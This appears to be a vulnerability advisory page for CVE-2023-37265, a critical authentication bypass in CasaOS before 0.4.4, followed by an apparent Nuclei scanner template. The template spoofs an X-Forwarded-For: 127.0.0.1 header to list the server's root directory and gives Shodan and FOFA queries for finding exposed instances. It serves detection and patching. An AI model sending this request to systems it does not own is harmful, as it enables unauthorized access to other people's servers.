CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
PoC代码[已公开]
id: CVE-2023-37265
info:
name: CasaOS < 0.4.4 - Authentication Bypass via Internal IP
author: iamnoooob,DhiyaneshDK,pdresearch
severity: critical
description: |
CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
impact: |
Successful exploitation allows unauthorized access to the CasaOS system.
remediation: The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4.
reference:
- https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
- https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
- https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7
- https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g
- https://github.com/komodoooo/Some-things
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-37265
cwe-id: CWE-306
epss-score: 0.90189
epss-percentile: 0.99572
cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: icewhale
product: casaos
shodan-query:
- http.html:"/CasaOS-UI/public/index.html"
- http.html:"/casaos-ui/public/index.html"
fofa-query:
- body="/CasaOS-UI/public/index.html"
- body="/casaos-ui/public/index.html"
tags: cve,cve2023,oss,casaos,jwt,icewhale
http:
- method: GET
path:
- "{{BaseURL}}/v1/folder?path=%2F"
headers:
X-Forwarded-For: 127.0.0.1
matchers:
- type: word
words:
- '"success":200'
- '"message":"ok"'
- 'content'
- 'is_dir'
condition: and
extractors:
- type: json
json:
- .data.content[].path
# digest: 4a0a0047304502210099b6bc5226804f0c4eb61ca42902b9ea7b9b5e6ac816335a3f13af2c9535aa4002201cde2e6fd5a339f60ffadedb2d1ce718aceaf221ff68d9f72e12721ae06dfc41:922c64590222798bb761d5b6d8e72950